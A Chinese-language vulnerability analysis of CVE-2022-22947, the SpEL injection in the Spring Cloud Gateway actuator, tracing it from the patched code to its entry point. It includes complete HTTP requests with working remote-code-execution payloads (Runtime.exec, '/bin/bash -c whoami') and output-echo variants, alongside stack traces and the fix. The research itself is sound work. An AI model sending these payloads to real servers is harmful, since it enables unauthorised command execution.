Spring Cloud Gateway actuator組建對(duì)外暴露RCE問(wèn)題漏洞分析
Spring Cloud gateway是什么?
Spring Cloud Gateway是Spring Cloud官方推出的第二代網(wǎng)關(guān)框架,取代Zuul網(wǎng)關(guān)。網(wǎng)關(guān)作為流量的,在微服務(wù)系統(tǒng)中有著非常作用,網(wǎng)關(guān)常見(jiàn)的功能有路由轉(zhuǎn)發(fā)、權(quán)限校驗(yàn)、限流控制等作用
漏洞描述:
當(dāng)啟用、暴露和不安全的 Gateway Actuator 端點(diǎn)時(shí),使用 Spring Cloud Gateway 的應(yīng)用程序容易受到代碼注入攻擊。遠(yuǎn)程攻擊者可以發(fā)出惡意制作的請(qǐng)求,允許在遠(yuǎn)程主機(jī)上進(jìn)行任意遠(yuǎn)程執(zhí)行。
漏洞復(fù)測(cè):

POST /actuator/gateway/routes/test1 HTTP/1.1 Host: 127.0.0.1:8889 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8889/actuator/ Content-Type:application/json Content-Length: 184 {"id":"test1","filters":[ { "name":"RewritePath", "args":{ "test":"#{T(java.lang.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}" } } ] }
刷新觸發(fā)請(qǐng)求:

POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8889 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8889/actuator/ Content-Type:application/json
直接觸發(fā)rce:

從0開(kāi)始漏洞分析:
漏洞預(yù)警:https://tanzu.vmware.com/security/cve-2022-22947
受影響的版本鎖定:
Spring Cloud Gateway 3.1.0 3.0.0 to 3.0.6 Older, unsupported versions are also affected

直接去github查看:
看diff,對(duì)比:
https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split
全局搜索.java等關(guān)鍵字:
關(guān)鍵代碼位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

通過(guò)代碼,很容易看出來(lái),這是spel注入,符合前面漏洞預(yù)警說(shuō)的代碼注入:

現(xiàn)在sink找到了,就差source,看情況是這樣子的
除了這樣找sink,還可以通過(guò)commit查看,無(wú)需對(duì)比,一樣是關(guān)鍵字搜索:
拉到漏洞修復(fù)版本:https://github.com/spring-cloud/spring-cloud-gateway/commits/v3.1.1

看到spel,盲猜spel注入,跟進(jìn)去看看:
https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b

好了,下面開(kāi)始第二步分析,從下往上找,目前已基礎(chǔ)判斷出sink為spel注入,從下往上走:
漏洞環(huán)境搭建好了,所以我直接去idea里面打開(kāi)路徑:
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
idea里面對(duì)應(yīng)的路徑:
springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:
可通過(guò)Structure查看結(jié)構(gòu)體:
在這里調(diào)度出來(lái):


這里直接在sink文件斷一刀:
42行

重啟服務(wù)打exp:

斷下來(lái)了,拿到利用鏈:
getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769) onNext:106, FluxMap$MapSubscriber (reactor.core.publisher) tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher) onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher) drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeWith:4515, Mono (reactor.core.publisher) subscribe:4371, Mono (reactor.core.publisher) subscribe:4307, Mono (reactor.core.publisher) subscribe:4279, Mono (reactor.core.publisher) onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support) publishEvent:378, AbstractApplicationContext (org.springframework.context.support) refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method) apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861) trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher) subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher) subscribe:57, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher) complete:137, Operators (reactor.core.publisher) subscribe:120, MonoZip (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) subscribe:51, MonoIgnoreThen (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher) onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher) onNext:82, MonoNext$NextSubscriber (reactor.core.publisher) innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher) onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) request:2398, Operators$ScalarSubscription (reactor.core.publisher) request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher) onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher) onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) subscribe:55, MonoJust (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) subscribe:51, MonoIgnoreThen (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:55, MonoDeferContextual (reactor.core.publisher) onStateChange:967, HttpServer$HttpServerHandle (reactor.netty.http.server) onStateChange:677, ReactorNetty$CompositeConnectionObserver (reactor.netty) onStateChange:478, ServerTransport$ChildObserver (reactor.netty.transport) onInboundNext:570, HttpServerOperations (reactor.netty.http.server) channelRead:93, ChannelOperationsHandler (reactor.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) channelRead:220, HttpTrafficHandler (reactor.netty.http.server) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel) fireChannelRead:327, ByteToMessageDecoder (io.netty.handler.codec) channelRead:299, ByteToMessageDecoder (io.netty.handler.codec) channelRead:251, CombinedChannelDuplexHandler (io.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:919, DefaultChannelPipeline (io.netty.channel) read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio) processSelectedKey:722, NioEventLoop (io.netty.channel.nio) processSelectedKeysOptimized:658, NioEventLoop (io.netty.channel.nio) processSelectedKeys:584, NioEventLoop (io.netty.channel.nio) run:496, NioEventLoop (io.netty.channel.nio) run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent) run:74, ThreadExecutorMap$2 (io.netty.util.internal) run:30, FastThreadLocalRunnable (io.netty.util.concurrent) run:748, Thread (java.lang)
最上層是觸發(fā)sink結(jié)束了
往下看幾層:
調(diào)度了ShortcutType.DEFAULT枚舉重寫(xiě)的normalize方法:
這是方法,下一層就是調(diào)用了:
org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.class
protected Map<String, Object> normalizeProperties() { return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties(); }

查看屬性value:


其中的key和value就是我們的fiter里面的屬性?xún)?nèi)容:

再往下看一層:
name為我們自定義的RewritePath

結(jié)論:引用y4er大佬的話:
這個(gè)normalizeProperties()是對(duì)filter的屬性進(jìn)行解析,會(huì)將filter的配置屬性傳入normalize中,最后 進(jìn)入getValue執(zhí)行SPEL表達(dá)式造成SPEL表達(dá)式注入。
現(xiàn)在是有exp,所以分析出來(lái)的,漏洞原理也了解了!但是還是有些點(diǎn)沒(méi)理解清楚,需要我們刨根問(wèn)底:
一些疑惑點(diǎn):
(1)參數(shù)傳遞為什么是這樣的?
(2)name設(shè)置為RewritePath,為什么要這樣設(shè)置?

漏洞原理正向分析:
真的想徹底理解漏洞,更需要用戶(hù)貼近業(yè)務(wù):
查看官方文檔介紹說(shuō)明:
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
關(guān)鍵點(diǎn)在這里,官方文檔說(shuō)明可以使用這個(gè)接口去創(chuàng)建和刪除特定路由:

那說(shuō)明我們的spring cloud下是存在/routes/這個(gè)目錄的,以開(kāi)發(fā)經(jīng)驗(yàn)來(lái)看,一般路徑申明都在controller層,簡(jiǎn)單搜索下利用堆棧下的關(guān)鍵字:

refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
去這個(gè)函數(shù)去看看
完全一致:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

這個(gè)就是我們的source,現(xiàn)在又回到了老問(wèn)題,這個(gè)source是怎么觸發(fā)到sink的?
因?yàn)榇a量不是很大,直接拿出來(lái)分析:
@PostMapping({"/routes/{id}"})
public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {
return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {
return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
r.setId(id);
log.debug("Saving route: " + route);
return r;
})).then(Mono.defer(() -> {
return Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build());
}));
}).switchIfEmpty(Mono.defer(() -> {
return Mono.just(ResponseEntity.badRequest().build());
}));
}
先看可控點(diǎn):
@PathVariable String id, @RequestBody RouteDefinition route
路徑就是自定義的id,這個(gè)不用管,跟進(jìn)RouteDefinition類(lèi):
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/route/RouteDefinition.class

可以這里面定義了好幾個(gè)集合,有List的,也有Map的
隨便找個(gè)繼續(xù)跟集合的返回類(lèi),發(fā)現(xiàn)套娃好幾層呢:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/FilterDefinition.class

這就是走到底的了,會(huì)發(fā)現(xiàn)他是name+agrs集合
這樣就對(duì)上了:


現(xiàn)在要分析的是RewritePath哪里來(lái)的:
繼續(xù)回到代碼:
return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> { return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
發(fā)現(xiàn)我們可控的變量進(jìn)入了這個(gè)函數(shù)了,比較重要的就是flatMap了,這玩意和map類(lèi)似,不同的是其每個(gè)元素轉(zhuǎn)換得到的是Stream對(duì)象,會(huì)把子Stream中的元素壓縮到父集合中, 人話就是后面的是壓縮的子元素,前面的返回的是壓縮后的父元素
跟進(jìn)this::validateRouteDefinition:

在這個(gè)方法下下個(gè)斷點(diǎn):
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

anyMatch:判斷的條件里,任意一個(gè)元素成功,返回true
allMatch:判斷條件里的元素,所有的都是,返回true
noneMatch:與allMatch相反,判斷條件里的元素,所有的都不是,返回true
看著難看,利用Evuluate循環(huán)打印:
for(int i=0;i<this.GatewayFilters.size();i++){ System.out.println(GatewayFilters.get(i).name()); }

就是這些:
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize
可以看到我們的RewritePath就在其中
修復(fù)方案:
修改為StandardEvaluationContext為SimpleEvaluationContext
spel注入類(lèi)常見(jiàn)的有兩種:
StandardEvaluationContext 更加靈活 SimpleEvaluationContext 安全的,有限制的

不出網(wǎng)的話,我們上面的方法就不是很好使,需要調(diào)試出回顯方法?
網(wǎng)上出了好多回顯示案例,找一個(gè)復(fù)測(cè)下:
spring cloud回顯測(cè)試:

POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 332
{
"id": "greetdawn",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
}
刷新:

訪問(wèn)創(chuàng)建的路由地址:
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

spring cloud gateway 回顯原理分析:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/factory/AddResponseHeaderGatewayFilterFactory.class

把配置內(nèi)容,添加到了響應(yīng)請(qǐng)求頭
除了這個(gè)還有很多,找類(lèi)似點(diǎn),發(fā)現(xiàn)當(dāng)name為:
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
..........
任意一個(gè),均可以回顯

POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 293
{
"id": "After",
"filters": [{
"name": "SetRequestHeader",
"args": {"name": "SetRequestHeader","value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"}
}],
"uri": "http://example.com",
"order": 0
}
}
刷新:

訪問(wèn):

漏洞批量檢測(cè):
nuclei上看到有人提了相關(guān)檢測(cè)方法:
技術(shù)參考:
(1)y4er p師傅知識(shí)星球
(2)spring cloud文檔:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
(3)最好的spel注入學(xué)習(xí)文章:https://cryin.github.io/blog/SpEL injection/

浙公網(wǎng)安備 33010602011771號(hào)